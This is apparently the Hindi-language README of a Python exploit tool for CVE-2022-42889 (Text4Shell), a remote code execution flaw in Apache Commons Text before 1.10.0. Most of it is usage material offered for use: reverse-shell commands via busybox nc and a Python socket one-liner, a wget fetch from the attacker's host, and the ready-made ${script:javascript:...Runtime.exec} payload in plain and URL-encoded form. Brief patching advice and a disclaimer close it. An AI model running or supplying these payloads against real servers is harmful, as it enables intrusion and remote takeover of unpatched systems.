
CVE-2022-42889 (Text4Shell) के लिए Python exploit जो Apache Commons Text इंटरपोलेशन के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाता है। यह रिवर्स शेल जनरेशन, SSRF, और कस्टम कमांड निष्पादन का समर्थन करता है।
CVE-2022-42889 (Text4Shell) के लिए एक Python शोषण, जो Apache Commons Text के 1.10.0 से पहले के संस्करणों में एक गंभीर दूरस्थ कोड निष्पादन भेद्यता है।
यह शोषण CVE-2022-42889 (Text4Shell) को लक्षित करता है, जो Apache Commons Text में एक भेद्यता है, जो StringLookup इंटरपोलेटर द्वारा संसाधित विशेष रूप से तैयार किए गए इनपुट स्ट्रिंग्स के माध्यम से दूरस्थ कोड निष्पादन (RCE) की अनुमति देता है।
यह भेद्यता Log4Shell के समान प्रभाव वाली है लेकिन यह एक अलग लाइब्रेरी को प्रभावित करती है। जब उपयोगकर्ता-नियंत्रित इनपुट कमजोर विधियों में पास किया जाता है, तो एक हमलावर लक्ष्य प्रणाली पर मनमाना कोड निष्पादित कर सकता है।
Apache Commons Text StringLookup इंटरफ़ेस के माध्यम से स्ट्रिंग इंटरपोलेशन प्रदान करता है। इंटरपोलेटर लुकअप विभिन्न उपसर्गों के साथ अभिव्यक्तियों के मूल्यांकन की अनुमति देता है, जिनमें शामिल हैं:
${script:javascript:...} - जावास्क्रिप्ट कोड निष्पादित करता है (Nashorn इंजन)${url:UTF-8:...} - URL लाता है (SSRF)${dns:...} - DNS लुकअप| उत्पाद | प्रभावित संस्करण | पैच किया गया संस्करण |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (RCE के लिए) | 15+ (Nashorn अक्षम) |
नोट: Java ≥ 15 script उपसर्ग के माध्यम से RCE के लिए कमजोर नहीं हैं (Nashorn अक्षम है), लेकिन url और dns उपसर्गों के माध्यम से SSRF के लिए कमजोर हो सकते हैं।
requests लाइब्रेरीनिर्भरताएँ स्थापित करें:
pip install requests
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
| तर्क | विवरण | आवश्यक |
|---|---|---|
-t, --target | लक्ष्य IP पता | ✅ हाँ |
-p, --port | लक्ष्य पोर्ट (डिफ़ॉल्ट: 8080) | ❌ नहीं |
-c, --command | निष्पादित करने का कमांड | ✅ हाँ |
--lhost | रिवर्स शेल के लिए आपका IP | ✅ हाँ |
--lport | रिवर्स शेल के लिए आपका पोर्ट | ✅ हाँ |
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# लिसनर प्रारंभ करें
nc -lvnp 4444
# शोषण चलाएँ
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
स्क्रिप्ट ${script:javascript:...} सिंटैक्स का उपयोग करके एक दुर्भावनापूर्ण स्ट्रिंग बनाती है:
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
विशेष वर्णों को उचित संचरण सुनिश्चित करने के लिए URL-एनकोड किया जाता है:
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
स्क्रिप्ट निम्नलिखित पर GET अनुरोध भेजती है:
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
यदि लक्ष्य कमजोर है, तो वह जावास्क्रिप्ट का मूल्यांकन करता है और कमांड निष्पादित करता है।
जाँच करें कि आपका सिस्टम कमजोर है या नहीं:
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
यदि प्रतिक्रिया में ${script:javascript:7*7} के बजाय 49 है, तो सिस्टम कमजोर है।
CHANGELOG या README फ़ाइलों में Apache Commons Text संस्करण की जाँच करेंcommons-text-*.jar फ़ाइलों की तलाश करें<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
StringSubstitutor.createInterpolator() का उपयोग करने से बचें${script:javascript:} पैटर्न वाले अनुरोधों को ब्लॉक करेंयह शोषण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के विरुद्ध इस शोषण का अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
योगदान, मुद्दे और सुविधा अनुरोधों का स्वागत है! मुद्दे पृष्ठ पर जाँच करने के लिए स्वतंत्र महसूस करें।
हैप्पी हैकिंग! 🚀